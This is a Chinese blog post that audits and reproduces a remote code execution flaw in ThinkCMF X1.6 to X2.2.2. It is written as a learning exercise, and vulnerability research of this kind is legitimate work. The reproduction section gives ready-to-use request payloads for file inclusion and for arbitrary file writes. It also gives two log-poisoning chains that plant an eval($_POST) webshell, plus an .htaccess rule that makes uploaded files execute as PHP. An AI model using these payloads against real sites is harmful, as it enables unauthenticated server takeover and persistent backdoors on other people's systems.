zoukankan      html  css  js  c++  java
  • 审计ThinkCMF框架任意内容包含漏洞与复现

    题记

        今天看到在公众号看到一篇代码审计文章,跟着学学。

    小技巧

        搭环境的时候想复现最近学到的一些姿势,来一起学习吧。

      1、phpinfo上传失败的时候可以尝试上传<?=phpinfo() ?>,=相当于echo。

        2、.htacess设置为带1的文件解析为php。

    <FilesMatch "1">
    
    SetHandler application/x-httpd-php
    
    </FilesMatch>

    1 ThinkCMF简介

      ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展

      每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时是如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本

    2 漏洞介绍

    远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

    3 影响版本

    ThinkCMF X1.6.0

    ThinkCMF X2.1.0

    ThinkCMF X2.2.0

    ThinkCMF X2.2.1

    ThinkCMF X2.2.2

    4 环境搭建

    ThinkCMFX2.2.2下载链接:https://pan.baidu.com/s/1rK1-_BLmH1VPXsIUfr1VUw 提取码:wuhw

    将下载好的ThinkCMF解压后放在WWW目录下,然后浏览器访问即可看到安装页面。(经常搭环境的肯定会,我用的phpstudy)

      一直下一步填数据就行,安装好之后访问页面为

    5 漏洞分析

      首先打开index.php文件,查看程序的项目路径,可以看到项目路径在application目录下

      在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开,可以知道继承了HomebaseController,通过gma参数指定分组模块方法,这里可以通过a参数直接调用PortalIndexController父类(HomebaseController)中的一些权限为public的方法。

      可以看的到public方法里就有display()、fetch(),还有方法作用及参数含义。

      display函数 (可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配) 的作用是加载模板和页面输出,所对应的参数为:templateFile为模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

      templateFile参数会经过parseTemplate()方法处理

      在application/Common/Controller/AdminbaseController.class.php的parseTemplate()方法如下

      parseTemplate()方法作用:判断模板主题是否存在,当模板主题不存在时会在当前目录下开始查找,形成文件包含。

      构造的payload为 :index.php?a=display&templateFile=README.md

      回看D:/git/phpStudy/PHPTutorial/WWW/ThinkCMFX/ThinkCMFX/application/Common/Controller/HomebaseController.class.php。

      这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可。

    6 漏洞复现

        1、通过构造a参数的display()方法,实现任意内容包含漏洞。

        ?a=display&templateFile=README.md

        2、通过构造a参数的fetch()方法,在不需要知道文件路径的情况下就可以实现任意文件写入。

        ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php phpinfo(); ?>')</php>

        执行paylaod,如果页面是空白的,则说明可能写入成功。

        3、访问写入的文件1.php,发现成功执行。

        ThinkCMF缓存getshell

        由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php。

        有两种方式可以getshell

      第一种方法(总结一下就是让他报错写入日志,然后利用文件包含运行导致shell文件生成)

      ?a=display&templateFile=<?php file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();?>

      ?a=display&templateFile=data/runtime/Logs/Portal/21_05_07.log

      第二种方法(这个方法就是直接一句话写入日志,然后在利用包含漏洞执行)

      发送以下请求

      ?a=display&templateFile=<?php eval($_POST["6666"]);?>

      ?a=display&templateFile=data/runtime/Logs/Portal/21_05_07.log

    总结

        不得不佩服前人的智慧,路还长,希望我也能成为一个大佬吧。

    参考文章

        .htaccess文件构成的PHP后门:https://blog.csdn.net/qq_36374896/article/details/107005148

        ThinkCMF框架任意内容包含漏洞:http://mp.weixin.qq.com/s/jmyGLRsH7NAH_KqiVH48uQ

  • 相关阅读:
    QT多重继承的时候,要把QObject放在最前面,否则报错——C++认为人性本恶,默认都是私有的,这点和Delphi的世界观不一样
    动态库的搜索路径
    载入OpenSSL的动态库——学会使用tryToLoadOpenSslWin32Library和QPair
    Physical Standby Database Failover
    ARM和X86功耗差别的深层原因探讨
    Qt 鼠标样式特效探索样例(一)——利用时间器调用QWidget.move()函数
    QT---线程间通信
    Qt :非window子窗体的透明度设置
    QT:给Widget设置背景图片——设置Widget的调色板,调色板使用图片和背景色
    用友CDM系统,将货位间商品移库单(一步)修改为内调出入库单(一步)方法使用
  • 原文地址:https://www.cnblogs.com/sunny11/p/14742309.html
Copyright © 2011-2022 走看看